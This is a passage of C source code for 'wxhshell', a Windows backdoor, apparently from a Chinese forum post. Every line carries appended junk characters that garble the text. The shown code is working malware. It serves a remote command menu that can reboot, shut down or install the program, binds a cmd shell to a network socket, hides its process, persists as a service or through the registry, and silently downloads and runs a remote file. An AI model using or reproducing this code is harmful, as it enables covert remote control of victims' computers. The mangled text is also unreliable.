  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lsN~*q?~]  
  } xeGb?DPu  
  else {  @3kKJ  
V`@>MOw^d  
    switch(cmd[0]) { O{ /q-~_  
  JI vo_7{  
  // 帮助 H4]Ul eU  
  case '?': { zSb PW 6U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :kfp_o+J  
    break; B:7mpSnEQ  
  } BL&LeSa  
  // 安装 q\H[am  
  case 'i': { iX3HtIBj'  
    if(Install()) N>>uCkC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?)e37  
    else oPPX&e@=s]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =_0UD{"_0  
    break; )Wb0u0)_  
    } 5E notp[  
  // 卸载 | [ >UH  
  case 'r': { GKcv<G208  
    if(Uninstall()) a'\o 7_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mfv1Os:ST  
    else 41SGWAd#:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ? R>h `  
    break; fU!<HD h  
    } 9uWY@zu  
  // 显示 wxhshell 所在路径 /> 4"~q)  
  case 'p': { )Pv9_XKJ  
    char svExeFile[MAX_PATH]; 2h%z ("3/  
    strcpy(svExeFile,"\n\r"); @O[5M2|r  
      strcat(svExeFile,ExeFile); N]RZbzK_5G  
        send(wsh,svExeFile,strlen(svExeFile),0); =Fdg/X1  
    break; ]5%/3P,/  
    } }- Wa`t7U  
  // 重启 "*})3['n  
  case 'b': { O(_[ayE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &5: tn=E  
    if(Boot(REBOOT)) B-l'vVx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f|sFlUu&  
    else { &?h,7 D;A  
    closesocket(wsh); b:w?PC~O  
    ExitThread(0); Ag@;  
    } ;`6^6p\p  
    break; |2KAo!PI  
    } 2YDM9`5xs\  
  // 关机 ~RWktv  
  case 'd': { MMj9{ou  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,*7d  
    if(Boot(SHUTDOWN)) "9n3VX)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $HJwb-I  
    else { R"K#7{p9  
    closesocket(wsh); GaSPJt   
    ExitThread(0); c*@G_rb  
    } QD%L0;j  
    break; <^$<#K d  
    } rl0<Ls  
  // 获取shell "U7qo}`I  
  case 's': { Z> r^SWL  
    CmdShell(wsh); JY6 Q p  
    closesocket(wsh); XU"~h64]  
    ExitThread(0); x.q+uU$^  
    break; )&!&AlLn  
  } :kGU,>BN  
  // 退出 nR`ov1RH  
  case 'x': { ;amXY@RmH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w}=5ElB  
    CloseIt(wsh); &iV,W4  
    break; o^ XtU5SVq  
    } []D@Q+1  
  // 离开 2p " WTd  
  case 'q': { p/h Rk<K6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5L!y-3  
    closesocket(wsh); tToTxf~  
    WSACleanup(); 7nuU^wc  
    exit(1); AnT3M.>ek  
    break; p|]\P%,\  
        } tPF.r  
  } g1( IR)U!z  
  } /E\%>wv  
[KxF'mz9  
  // 提示信息 C 9t4#"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s;A@*Y;v  
} Sy 'Dp9!|  
  } o>VVsH  
G["c\Xux  
  return; w`5xrqt@  
} 4#l o$#  
CvD "sHVq%  
// shell模块句柄 &#iTQD  
int CmdShell(SOCKET sock) B $mX3B+a  
{ K1T4cUo  
STARTUPINFO si; O<V4HUW  
ZeroMemory(&si,sizeof(si)); ^ (FdXGs[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v;ZA 4c  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wH@Ns~[MA  
PROCESS_INFORMATION ProcessInfo; yNbjoFM.i  
char cmdline[]="cmd"; pfI"36]F  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m|G'K[8  
  return 0; T~='5iy|  
} q7E~+p(>(  
=y!$/(H  
// 自身启动模式 g pOC`=  
int StartFromService(void) ){b@}13cF  
{ HZ:6zH   
typedef struct g?ULWeZg5  
{ _D+J!f^  
  DWORD ExitStatus; X93!bB  
  DWORD PebBaseAddress; r! MWbFw|X  
  DWORD AffinityMask; N}t 2Nu-  
  DWORD BasePriority; \7'+h5a  
  ULONG UniqueProcessId; 0ik7v<:  
  ULONG InheritedFromUniqueProcessId; PAM}*'  
}   PROCESS_BASIC_INFORMATION; zld#qG6  
[;J>bi;3N  
PROCNTQSIP NtQueryInformationProcess; 55fC~J<  
^=-y%kp"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Sb82}$sO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; sdo [D  
k1D@fiz  
  HANDLE             hProcess; 3(,?S$>  
  PROCESS_BASIC_INFORMATION pbi; rQ qW_t%  
w {3<{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )z28=%g  
  if(NULL == hInst ) return 0; Ptdpj)oi&Q  
e\:+uVzz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); FFEfI4&SfS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W*I(f]8:y`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?o|f':  
 e0,|Wm  
  if (!NtQueryInformationProcess) return 0; q}?4f *WC  
ys kO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "L&#lfOKG  
  if(!hProcess) return 0; L bmawi^  
JVSA&c%3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ybKWOp:O  
lE(a%'36  
  CloseHandle(hProcess); W~7A+=&  
LF& z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $cU!m(SILQ  
if(hProcess==NULL) return 0; $arK(  
YF>m$?;  
HMODULE hMod; #6HA\dE  
char procName[255]; t,+nQ9  
unsigned long cbNeeded; ) u`[6,d  
`M^= D&Bf  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .E8_Oz  
Su/6Q$0 t  
  CloseHandle(hProcess); SSWP~ t  
:x4|X8>  
if(strstr(procName,"services")) return 1; // 以服务启动 wMg0>  
!`Hd-&}bYz  
  return 0; // 注册表启动 fy@<&U5rg  
} %2{ %Obp'  
|#cm`v  
// 主模块 =V-|#j  
int StartWxhshell(LPSTR lpCmdLine) kTu[ y;  
{ 7 *`h/  
  SOCKET wsl; GQUe!G9  
BOOL val=TRUE; (Fhs"  
  int port=0; WGZ9B^A  
  struct sockaddr_in door;  jYmR  
n|RJ;d30Q  
  if(wscfg.ws_autoins) Install(); ORJIo  
mQ|v26R  
port=atoi(lpCmdLine); !u[eaLxV  
+b3RkkC  
if(port<=0) port=wscfg.ws_port; 1e{IC=  
,NyY>~+  
  WSADATA data; 6"J? #  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8y.wSu  
gf &Pn  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   pUQ/03dp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K1+)4!}%U  
  door.sin_family = AF_INET; R5 - @  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fY51:0{  
  door.sin_port = htons(port); qh|_W(`y  
Q/(K$6]j  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5A3xVN=  
closesocket(wsl); g4=pnK8  
return 1; JP!~,mdS  
} x7!L{(E3  
Ez fN&8E  
  if(listen(wsl,2) == INVALID_SOCKET) { #FCnA  
closesocket(wsl); g"p%C:NN  
return 1; 1Z+8r  
} e478U$  
  Wxhshell(wsl); 4C61GB?Vy  
  WSACleanup(); * K D I}B>  
YQ9'0F[l  
return 0; =S+wCN  
wsZF;8ut  
} ~962i#&4  
N`5,\TR2f  
// 以NT服务方式启动 1PQ~jfGi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;=eDO(Ij  
{ =jOv] /  
DWORD   status = 0; 4:$4u@   
  DWORD   specificError = 0xfffffff; Xqg@ e:g  
5\5/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "d#Y}@*~o  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; q<[P6}.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v7BA[jQr  
  serviceStatus.dwWin32ExitCode     = 0; I7|Pi[e  
  serviceStatus.dwServiceSpecificExitCode = 0; y&q*maa[  
  serviceStatus.dwCheckPoint       = 0; GK )?YM  
  serviceStatus.dwWaitHint       = 0; "}u.v?HYz  
8=B|C'>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;4R$g5-4X  
  if (hServiceStatusHandle==0) return; ov ` h  
VRWAm>u  
status = GetLastError(); bv]`!g: C  
  if (status!=NO_ERROR) jVv0ST*z  
{ TyD4|| %  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >kj`7GA  
    serviceStatus.dwCheckPoint       = 0; u)X=Qm)  
    serviceStatus.dwWaitHint       = 0; 5{|7$VqPF  
    serviceStatus.dwWin32ExitCode     = status; BZ94NOOdw  
    serviceStatus.dwServiceSpecificExitCode = specificError; j"ThEx0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0bceI  
    return; FcR=v0),  
  } Ygm`ZA y  
tvkb~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?]|\4]zV  
  serviceStatus.dwCheckPoint       = 0; g`{;(/M+  
  serviceStatus.dwWaitHint       = 0; !O+) sbd<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7`- Zuf  
} `slL %j^"  
m'Amli@[  
// 处理NT服务事件,比如:启动、停止 5A)2} D]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j~2{lCT  
{ 7L`A{L  
switch(fdwControl) prC;L*~8  
{ h;C5hU 4P  
case SERVICE_CONTROL_STOP: *rM^;4Zt  
  serviceStatus.dwWin32ExitCode = 0; ,0~^>K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G"-?&)M#a  
  serviceStatus.dwCheckPoint   = 0; (7mAt3n k  
  serviceStatus.dwWaitHint     = 0; (|[2J3ZET  
  { @oNH@a j%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *?5*m+  
  } ;X8yFq  
  return; EY^1Y3D w0  
case SERVICE_CONTROL_PAUSE: opY@RJ]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; gFeO}otm  
  break; a=1NED'  
case SERVICE_CONTROL_CONTINUE: }\z.)B4,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RJL2J]*S  
  break; v6=RY<l"m  
case SERVICE_CONTROL_INTERROGATE: RHaI~jb  
  break; ZOft.P O  
}; ]mo-rhDsM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j>*R]mr6  
} X}=n:Ql'YY  
sT !~J4  
// 标准应用程序主函数 KK1 gNC4R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !S^AgZ~  
{ 9i'jj N  
$*SW8'],`  
// 获取操作系统版本 3/aMJR:o  
OsIsNt=GetOsVer(); *EOdEFsR/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6DM$g=/ '  
ta35 K"  
  // 从命令行安装 7F zA*  
  if(strpbrk(lpCmdLine,"iI")) Install(); di?K"Z>  
Q;[,Q~c[u  
  // 下载执行文件  tR}MrM  
if(wscfg.ws_downexe) { :V1W/c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1%EBd%`#  
  WinExec(wscfg.ws_filenam,SW_HIDE); pf%=h |  
} $LKIT0  
f*!j[U/r_  
if(!OsIsNt) { UM!ENI|  
// 如果时win9x,隐藏进程并且设置为注册表启动 y-T| #  
HideProc(); ||T2~Q*:y  
StartWxhshell(lpCmdLine); Qt iDTr  
} `{eyvW[Ks  
else {HL3<2=o  
  if(StartFromService()) `NnUyQ;T  
  // 以服务方式启动 g$7{-OpB  
  StartServiceCtrlDispatcher(DispatchTable);  V_C-P[2~  
else B\<Q ;RI2;  
  // 普通方式启动 g'p K  
  StartWxhshell(lpCmdLine); B.wYHNNV  
x4g3 rmp  
return 0; wAX1l*`  
}
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只看该作者 1 发表于: 2006-10-10
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